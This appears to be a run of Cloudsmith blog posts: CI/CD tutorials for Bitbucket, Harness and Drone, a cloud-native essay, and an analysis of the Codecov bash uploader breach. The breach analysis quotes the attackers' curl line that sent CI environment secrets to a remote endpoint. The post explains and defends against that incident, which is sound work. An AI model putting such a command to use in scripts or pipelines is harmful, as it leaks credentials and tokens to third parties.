      "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsSAAALEgHS3X78AAACKElEQVR4nI3RS09TQQDF8X4PAQUKFXkZE4FieZnGuCORuPCbuHWvLpSXrWJQFu4UqsYYVpJARGpQsRHKw76wvb1tb2/vzC1tzd/cIRBNXHRxcmb1y5kZ104mxtfULl9SUTYPo4QT26q3tH2ViHbAxm6Ee4/m8F2/RWvvVdp7x3B3j9DS6aPJ46WhrY8z7ssqrvfRdV58W+ZxOMTsp1fMrL9UHQgvEthY5En4NXOrS9y+fxevfwJ39yjunhGaL1yhyTNAY3u/ioM6cW0kf7Ac/Uwossbi1gpL3z8QiqzwZnuVtztrvIt+JLS5wp0HDxn036C1e5i23lFau4Zo7vSplQ5+rmNQwa58ySSpF4hpeVK6Trqgoxk5cpZBXprkRZG9ZJzJ4DxD127S1jNKxyU/novOtYcV7KAK9AzgkrKMYUoVIWyktLFtm0rliNrvmupkMsVM8Bk+/wQtXUMKdaCz573/XttZKKSNWbJUhJRYQmJZ4hitVrGl5OdBjMnZp3jHxmls7ztFTt6t4a+4LGFTMEyMYgkHl3b5tG37CClsEokU04F5BkbH1U/+D2o4AUuWIJsvkCsUKVkSIcvHWPlIxTknD9NMB58zMFIHaAhBplBEy5voBYucITBMG2FXkeWa6uShxnRwob6FmimJ6yVimRLxtKWSykq0YhXdrKGbVfaTWaYCC/TXszBbKpPQBbGMJO4kLYhrNr/yFdJGlYxRYS+RZcpZWAf4B2rySx3AP50QAAAAAElFTkSuQmCC",
      "palette": {
        "_type": "sanity.imagePalette",
        "darkMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#1c2434",
          "foreground": "#fff",
          "population": 37.68,
          "title": "#fff"
        },
        "darkVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#04152a",
          "foreground": "#fff",
          "population": 0.02,
          "title": "#fff"
        },
        "dominant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#1c2434",
          "foreground": "#fff",
          "population": 37.68,
          "title": "#fff"
        },
        "lightMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#b2c3cc",
          "foreground": "#000",
          "population": 0.92,
          "title": "#fff"
        },
        "lightVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#88e8b8",
          "foreground": "#000",
          "population": 0.01,
          "title": "#fff"
        },
        "muted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#5cae83",
          "foreground": "#fff",
          "population": 5.38,
          "title": "#fff"
        },
        "vibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#3ca074",
          "foreground": "#fff",
          "population": 0.01,
          "title": "#fff"
        }
      }
    },
    "mimeType": "image/png",
    "originalFilename": "cloudsmith_bitbucket_pipeline_ui.png",
    "path": "images/rafvlnhi/production/c53d017dd822d85b4a96914878ef3f42901c49c0-1494x824.png",
    "sha1hash": "c53d017dd822d85b4a96914878ef3f42901c49c0",
    "size": 68852,
    "uploadId": "Pz1P1cyaags8bli5y20Sq50e56ipmkML",
    "url": "https://cdn.sanity.io/images/rafvlnhi/production/c53d017dd822d85b4a96914878ef3f42901c49c0-1494x824.png"
  },
  "caption": null,
  "link": null,
  "markDefs": null
}
```

Once pushed, you should see your shiny new package in the Cloudsmith UI, ready for download and install using your preferred tools:

```json
{
  "_key": "7e85e97eb6b7",
  "_type": "image",
  "alt": null,
  "asset": {
    "_createdAt": "2025-06-05T07:57:57Z",
    "_id": "image-293b6b26210d9ff68d9bc076ddf5f673ed7d97cc-2000x977-png",
    "_rev": "2MVa2LY6RC9Yy6hPJdh5lQ",
    "_type": "sanity.imageAsset",
    "_updatedAt": "2025-06-05T07:57:57Z",
    "assetId": "293b6b26210d9ff68d9bc076ddf5f673ed7d97cc",
    "extension": "png",
    "metadata": {
      "_type": "sanity.imageMetadata",
      "blurHash": "M5SF@U019F_4N_-=IrIot7oz~WRj%Mt5s+",
      "dimensions": {
        "_type": "sanity.imageDimensions",
        "aspectRatio": 2.0470829068577276,
        "height": 977,
        "width": 2000
      },
      "hasAlpha": true,
      "isOpaque": true,
      "lqip": "data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsSAAALEgHS3X78AAABp0lEQVR4nI2SS27bQBBEef87BQhygCDe2bEC2zIF2RLJ+fX8h3rBjJBtkkWhiR7gEdVVkxODFYvzHu0CxnmsyH36SMqZUgq1NVq7cbv9XZMTi3V2QFbtOC+aVWmMdVjxhBhJ8Q+4se/70K3PWrm1yt4qbW/UfWf6dVp5nhcOp43DvPB0/GD+uLJtCmMszjm8CCFEcsrUWmm1UkMg65ViL2RZEG9YvTB9ezjy5fsrXx+O/Pg58/z2zst8HtBl3VBKYbTBe09KaQBrKWRriZcTeX0jqHcW9clRLUxPr588vpw5zFfOl4XrcmH+XIb1YdvJUMyFUhu5VGLK4ww5eFKwWKtZjeZiDdOmDEprfAikFHH9sdt1go8JCQkXErE0Yt2RlEdYksrYScxs1rO5gIulAzVKaUK/SU5Yo9Fqw4ngfMBKGNCQ65BPZUB8LAMqMY8f9n1pO1NPtN8pdgs5D6AxZqTbq+TED4vdbq9Obft91nbfjf1O68n32nTLHdBhXf3bOSHlNBIe8BBprf2zgwO4KoO1bpS3A7XWiNwT1Vqxrus4x+jefwB/A3zABGeMAiS0AAAAAElFTkSuQmCC",
      "palette": {
        "_type": "sanity.imagePalette",
        "darkMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#5a514c",
          "foreground": "#fff",
          "population": 0.05,
          "title": "#fff"
        },
        "darkVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#77450d",
          "foreground": "#fff",
          "population": 0,
          "title": "#fff"
        },
        "dominant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#4a74a0",
          "foreground": "#fff",
          "population": 0.99,
          "title": "#fff"
        },
        "lightMuted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#9bb1c9",
          "foreground": "#000",
          "population": 0.19,
          "title": "#fff"
        },
        "lightVibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#fccc8a",
          "foreground": "#000",
          "population": 0.01,
          "title": "#000"
        },
        "muted": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#4a74a0",
          "foreground": "#fff",
          "population": 0.99,
          "title": "#fff"
        },
        "vibrant": {
          "_type": "sanity.imagePaletteSwatch",
          "background": "#eca454",
          "foreground": "#000",
          "population": 0,
          "title": "#fff"
        }
      }
    },
    "mimeType": "image/png",
    "originalFilename": "cloudsmith_bitbucket_upload.png",
    "path": "images/rafvlnhi/production/293b6b26210d9ff68d9bc076ddf5f673ed7d97cc-2000x977.png",
    "sha1hash": "293b6b26210d9ff68d9bc076ddf5f673ed7d97cc",
    "size": 354328,
    "uploadId": "HKrkv0uHeEeJSCMdA4DfehxXbmbn0uEK",
    "url": "https://cdn.sanity.io/images/rafvlnhi/production/293b6b26210d9ff68d9bc076ddf5f673ed7d97cc-2000x977.png"
  },
  "caption": null,
  "link": null,
  "markDefs": null
}
```

## Conclusion

Cloudsmith's Bitbucket pipe provides the easiest and simplest way for Bitbucket users to push their assets to Cloudsmith. Our official pipe is maintained by the Cloudsmith team and you can be sure it'll be kept up to date with all changes and features as we release them.

As always, if you have any questions about the pipe (or anything else), we're available at support@cloudsmith.io.

Today, almost every service now is offered in a “Cloud” variant. But what does that really mean? Are all clouds services equal?

It’s easy to see why so many vendors rush to add a Cloud edition/variant of established software they sell. Undoubtedly, there has been a move to Cloud services across the industry, as more and more organizations seek to take advantage of the higher reliability and lower total cost of ownership that Cloud platforms promise.

The thing to watch out for is the major difference between Cloud Hosted and Cloud-Native.

When Cloud providers started to emerge; spearheaded by AWS who saw the opportunity to monetise the tooling and spare capacity they had in their data centres. We began to see other vendors jump to offer their software (which had previously been sold for on-prem use) on these Cloud platforms, hoping to capitalize on the emerging trend.

A lot of “enterprise” software was never designed to run on a Cloud platform. It was never architected to take advantage of the paradigm shift that cloud computing enables, and you are left with effectively paying (a premium, in some cases) for the same software, just running on a virtual machine on a Cloud platform. This is Cloud hosted. A self-contained software solution, typically cannot take advantage of what the Cloud offers - for instance, how would it know to load balance requests? Or scale up. Most of the time, it is limited by the resources it has to hand. The fixed cpu and memory it has been allocated.

On the other end of the spectrum, you have software that has Cloud built into its DNA. Software that relies on features that are only possible on Cloud platforms in order to work as it does - think fully distributed workloads, fault tolerance, and scaling for global performance.

Every superhero has an origin story. This is ours.

Cloudsmith is designed from the ground up as a Cloud-Native application. From day one, it has been architected to take advantage of all the technology that Cloud provider platforms offer.

This is why we don’t offer Cloudsmith in an on-prem variant. It’s not just a package management solution, it’s a secure, ultra-fast delivery platform for software, harnessing the power and flexibility of the Cloud and Edge computing.

It’s a smart CDN for software.

In this blog, we will walk through the process of configuring a private Cloudsmith repository as an artifact source for a Harness Continuous Deployment pipeline.

Harness is a Continuous Deployment platform that allows you to easily automate the deployment of your software to your infrastructure and environments.

The Harness Platform has two main components:

- ****The Harness Manager:**** The Harness Manager is where you manage your deployment pipelines and also where you store your deployment configurations. It is available as a SaaS or on-premises running in your own infrastructure. In this blog, we will use the SaaS version at app.harness.io. You can use the Harness Manager (or the API, or a trigger in your pipeline) to start and view your pipeline execution.
- ****Harness Delegate:**** the Harness Delegate is software you install in your environment (locally or on a cloud platform of your choice), and run as a service. The Delegate connects to the Harness Manager to receive tasks and then executes these pipeline tasks on your chosen platforms.

Installing the Harness delegate and building a pipeline from scratch in the Harness manager is beyond the scope of this blog, but Harness provide [excellent documentation](https://docs.harness.io/) and [tutorials](https://docs.harness.io/category/kh1sxpvd7x-common-deployments) to get you up and running.

****Let’s get started****

We are going to set up our Cloudsmith repository as a docker registry in Harness and then use Harness CD to deploy a docker image to AWS Elastic Container Service.

First, we log into the harness manager, and then go to “Setup”:

At this point it’s worth explaining some of the Harness key concepts, particularly Cloud Providers, Connectors and Applications :

****Cloud Providers****

Cloud Providers describe your infrastructure, such as AWS, GCP, Azure or even your own Physical Data Center. I’ve configured AWS as my Cloud Provider here and I have provided the AWS Access Key and Secret Access Key. I’ve added my AWS Secret Access Key as an encrypted secret using the included Harness Vault, and it’s always correct to use an encrypted secret and a secrets manager of some sort. Never, ever add your credential or secrets as plain text as part of a deployment pipeline.

****Connectors****

Connectors are where you integrate repositories, registries, or monitoring tools. The Connector type we will configure here is an “Artifact Server”. This is the important bit for this blog, as it is where we add our Cloudsmith repository.

This is really simple, as Cloudsmith repositories are fully compatible as a native docker registry. All you need to add is your Cloudsmith registry URL – (docker.cloudsmith.io/v2/), your Cloudsmith username and your encrypted password.

I’ve added my Cloudsmith API key as an encrypted secret, again using the included Harness Vault.

You could also use a Cloudsmith Entitlement Token, and you can see our [Docker documentation](https://help.cloudsmith.io/docs/docker-registry) to find out how to authenticate to a Cloudsmith repository using a token.

****Applications****

The next thing we configure is an Application. Applications are how you organize a deployment project in harness and consist of Services, Environments, Workflows, Pipelines, Triggers and Infrastructure Provisioners:

****Services****

Services represent your applications and microservices, and this is where you declare the artifacts that you wish to use, any configuration variables and container specifications.

This is the first thing we define for our application.

I have selected my Cloudsmith artifact repository as the source server, and for my docker image name I have entered my Cloudsmith organization name “demo”, my repository name “examples-repo”, and my docker image name “cloudsmith-example-app”. I also choose here to deploy this docker image to AWS ECS:

****Environments****

An environment represents your deployment infrastructure, such a test, staging or production. This is the second thing that we define for this application.

We have defined a “TEST” infrastructure here on AWS here, and this is also where wer define things like the region and cluster to be used, and the IAM execution role to use:

****Workflows****

A workflow includes the Service, Environment, and Infrastructure definitions we have added already, and then uses these for the deployment steps. A workflow is the third thing we define for this application.

There are different types of Workflows, such as basic, canary and blue/green. For this example, we will use a blue/green workflow that configures an AWS load balancer, and then deploys or upgrades the containers running on our ECS cluster. You can also add things like rollback steps and notifications:

****Pipelines****

A pipelines model is a collection of one or more stages, containing Workflows for Services and other deployment and verification steps, such as Approvals

We have set up a very simple single-stage pipeline here that just runs the Workflow we defined above:

****Triggers****

A Trigger is used to automate deployment in response to an event, such as Git events, a new artifact in a repository, a schedule or even the success of another pipeline.

We have set up a trigger here that will start the Pipeline when a new docker image is pushed to our Cloudsmith Repository:

Running the Pipeline.

We have a simple python flask project, that just prints a simple message. We just need to create a docker image from this project using the ‘’docker build’ command:

```json
{
  "_key": "19d6cafdc0aa",
  "_type": "code",
  "code": "docker build -t docker.cloudsmith.io/demo/examples-repo/cloudsmith-example-app:latest -t docker.cloudsmith.io/demo/examples-repo/cloudsmith-example-app:2.0.0 .",
  "filename": null,
  "language": "text",
  "markDefs": null
}
```

This command also adds two tags to the image, a ‘latest’ tag and a ‘2.0.0’’ tag.

Now, we just push this docker image and tags to our Cloudsmith repository, exactly as you would do with any docker registry:

```json
{
  "_key": "8bf090077da3",
  "_type": "code",
  "code": "docker push docker.cloudsmith.io/demo/examples-repo/cloudsmith-example-app:latest docker push docker.cloudsmith.io/demo/examples-repo/cloudsmith-example-app:2.0.0",
  "filename": null,
  "language": "text",
  "markDefs": null
}
```

That’s the docker image pushed to Cloudsmith, and we can see it now in our Cloudsmith Repository:

As we have set up a Trigger in Harness, Harness will then poll any configured artifact repositories every 2 minutes for the presence of a new artifact. As a result, our Pipeline will then start to execute:

We can follow the stages in our pipeline, and the steps in our workflow here, and see the log output. For example, you can see the output of the upgrade containers step here:

Once the deployment has completed successfully, we can hit the address of our AWS Load Balancer in a browser and we can confirm that our docker image has been deployed to our ECS cluster, and the message that this example application prints:

Our automated deployment to AWS ECS was successful, our docker image was pulled from our private Cloudsmith repository, and it was all managed and controlled by Harness CD.

## **What happened?**

It was revealed just a few days ago that US Federal investigators are looking into an intrusion and insertion of malicious code into Codecov.

As many readers here will already know, Codecov is a software auditing tool that analyses your source code to check for the amount of test coverage. The intrusion targeted the Codecov bash uploader, which is a script that provides a way to send coverage reports to Codecov.

It has been determined that attackers were able to target the bash uploader script due to an error in a Docker image creation process, which effectively leaked a secret credential. This allowed them to update the bash uploader. The malicious code added to the script scraped all environment variables that are present when the script runs and sent these to an as-yet-unidentified third party.

Specifically, the following line was added to the bash uploader:

```json
{
  "_key": "34312c385c57",
  "_type": "code",
  "code": "curl -sm 0.5 -d “$(git remote -v)http:///upload/v2 || true",
  "filename": null,
  "language": "text",
  "markDefs": null
}
```

This means that if the bash uploader script was running as part of a CI process, then it would copy all of the environment variables that this process required (such as API keys, tokens, credentials for other required services etc), and leak them to the attackers.

Codecov found out about the unauthorized access on April 1st, but their investigation determined that beginning as far back as January 31st, 2021 there were periodic unauthorized alterations of the bash uploader script.

## **How was it discovered?**

Codecov said that a customer informed the company of the issue on April 1st after noticing a discrepancy between the SHA1 checksum for the uploader posted publicly on GitHub and the checksum calculated from the Bash Uploader they had downloaded.

## **Why did it take so long to discover?**

Simply put - not enough people were looking and checking, or more specifically, not enough people had the correct tools and processes in place to simplify such checks.

You need a single source of truth for all packages and dependencies used in your environments. Somewhere you can check all package checksums quickly. A single pane of glass for all your software artifacts, together with a good API where you can get this information and automate your checks.

## **What do I do if I think I am affected?**

The advice given by Codecov here is good:

****We strongly recommend affected users immediately re-roll all of their credentials, tokens, or keys located in the environment variables in their CI processes that used one of Codecov’s Bash Uploaders.****

You can easily determine any keys, credentials or tokens that may have been compromised in your CI environments by simply running the ‘env’ command in your pipelines. Any environment variables that are output should be considered possibly compromised. You should both change/rotate them and perform an audit of their use.

## **Summary**

This underlines the importance of two things we at Cloudsmith talk about as benefits of Continuous Packaging - Provenance and Isolation.

****Provenance**** - checking the signatures (if present) and checksums of artifacts that you consume. This revealed that the bash uploader script had been modified.

****Isolation**** - Keeping a cached copy of the bash uploader script allowed this customer to have a point of reference to compare the checksum with the publicly available version.

At Cloudsmith, we strive hard to ensure that private Cloudsmith repositories work with any build and release process that our customers use. Our mission is to be the universal package management solution that any modern DevOps workflow requires. Thanks to the power of the Cloudsmith CLI and API, it’s very easy to integrate our platform with any of the popular build tools out there, and in this blog, we will take a look at how you can set up your Drone CI pipelines to push the results of your builds to your own private repository.

****What is Drone CI****

Drone CI is an open-source Continuous Integration platform. It has a container-first approach which means that you utilize Docker containers to execute the steps in your build pipelines.

Installing and setting up Drone itself is beyond the scope of this blog, but it’s easy – the components of a Drone build environment are provided as Docker images so you can get set up and running very quickly.

A Drone environment consists of two main pieces of infrastructure. The Drone Server and Drone Runners.

****The Drone Server****

The Drone server is the centralised place where you manage and observe your build pipelines and configure settings and secrets. It is installed via a lightweight Docker image that you can deploy on a cloud instance, a container service or even directly on your own hardware. It’s also available as a cloud-native solution that is free to use for open-source projects.

For this tutorial, I have installed the Drone server directly on an AWS EC2 instance.

****Drone Runners****

The Drone runners are standalone daemons that poll the drone server for pipelines to execute. In this tutorial, I will make use of the Docker runner that I have installed on my local machine, but you could equally install it on a cloud instance or container service also. There are additional types of runners that are optimized for different use cases such as a stateful pipeline that needs to store files on the host machine between pipeline executions, but we will look at a simple build here that doesn’t require anything stateful.

****Let’s get started!****

Once you have set up the drone server, and one or more runners, you then connect the drone server to your source repositories using OAuth. I’ve already set this up and you can see the source repositories that the Drone server now has access to:

Let’s go ahead and activate it for my demo source repository:

You can see some of the main settings here, including the name of the drone configuration file from the source repo (.drone.yml)

The Drone configuration file is a YAML file that you place at the root of your source repository and it is used to define your pipeline steps. It’s actually a superset of the docker-compose file format, and it’s designed to be easily readable by anyone looking at your source.

The next thing we need to do is add a couple of secrets to the environment for this build pipeline.

1. The Cloudsmith API Key. We will need this as we need to authenticate push the package that we build to our Cloudsmith repository
2. Docker Credentials. We are going to use our own Docker image to execute this build, and this image is stored in a private Cloudsmith Docker registry. We can get these credentials from our ~/.docker/.config.json file after we do a normal `docker login`

It is, of course, a great idea to store these secrets encrypted on the Drone server as we are doing here. You do NOT want to check secrets like these into your source as part of any configuration files.

Once we have everything activated as above, we can now build the project.

I have a simple “Hello World” example project in C, that I want to build into a Debian package. Let’s put together a drone configuration file for this project. It starts off by defining the kind as a pipeline, and the runner type as a docker runner, and we have just named it Cloudsmith Demo:

kind: pipeline

type: docker

name: CloudsmithDemo

Next, we just specify the OS and architecture and we then get into defining the steps that will execute when this pipeline runs:

platform:

os: linux

arch: amd64

After this, we start to declare our steps. We just need a single step here, a build and push package step, and we also declare the docker image that we will use to execute this step:

steps:

- name: Build and Push Package

image: docker.cloudsmith.io/demo/examples-repo/drone-base:latest

This is a docker image that I have prepared already, and just so you can see what is required for this build, the Dockerfile looks like this:

# Pull from base Ubuntu image

FROM ubuntu

# Do system updates and install dependencies

RUN apt-get update

RUN apt-get -y install git ruby ruby-dev rubygems build-essential python3-pip

RUN gem install --no-document fpm

RUN pip3 install cloudsmith-cli

RUN apt-get clean

It contains the tooling required to compile the C source, and then package it into a Debian package. It also contains the Cloudsmith CLI, which we will use to push the package to our Cloudsmith repository.

You could install all the tooling using additional commands in the step, and forgo the use of your own Docker image. But it’s cleaner, and also makes better use of drone’s “container first” approach to build your own image with any pre-requisites for the pipeline, and use that to execute the step.

Next, we set up our Cloudsmith API Key as an environment variable, from our drone server:

environment:

CLOUDSMITH_API_KEY:

from_secret: CLOUDSMITH_API_KEY

We then execute the ‘make’ command to compile our C source, use ‘fpm’ to package this into a Debian package, and then use the ‘cloudsmith push deb’ command to push the built package to our Cloudsmith repo:

commands:

- make

- fpm -f -s dir -t deb -v 1.0.1 -n cloudsmith-drone-demo .

- cloudsmith push deb demo/examples-repo/debian/buster cloudsmith-drone-demo_1.0.1_amd64.deb

Finally, we also pull in the secret we added to our Drone server that will allow Docker to pull our Docker image with our prerequisites from our private Cloudsmith Docker registry:

image_pull_secrets:

- dockerconfigjson

So, putting all this together, our complete .drone.yml config files looks like this:

---

kind: pipeline

type: docker

name: CloudsmithDemo

platform:

os: linux

arch: amd64

steps:

- name: Build and Push Package

image: docker.cloudsmith.io/demo/examples-repo/drone-base:latest

environment:

CLOUDSMITH_API_KEY:

from_secret: CLOUDSMITH_API_KEY

commands:

- make

- fpm -f -s dir -t deb -v 1.0.1 -n cloudsmith-drone-demo .

- cloudsmith push deb demo/examples-repo/debian/buster cloudsmith-drone-demo_1.0.1_amd64.deb

image_pull_secrets:

- dockerconfigjson

Now, all that we need to do is to make a change to our source and push it to our source repository to start this build.

If we check our Drone server after pushing a change to our source, we can see that our pipeline has started to execute:

Let’s have a look and see what happened. It started by cloning our source repo,

And then our “build and push package” step executed:

You can see that it has pulled the docker image we are using to execute this step, and then executed ‘make’ and ‘fpm’ to build our Debian package. Finally, it pushed the resulting Debian package to our private Cloudsmith repository. That’s the pipeline execution finished successfully.

If we now go to our Cloudsmith repository, we can see our new cloudsmith-drone-demo Debian package – the result of our automated build pipeline, present as expected in our own private repository:

****Summary****

It’s easy to automate pushing the results of your Drone pipeline builds to a private Cloudsmith repository. With the simple addition of the Cloudsmith CLI (or a Docker container that has the Cloudsmith CLI), you can be up and running in just a few minutes, and benefit from the security, control and centralised management that a universal package management solution like Cloudsmith provides.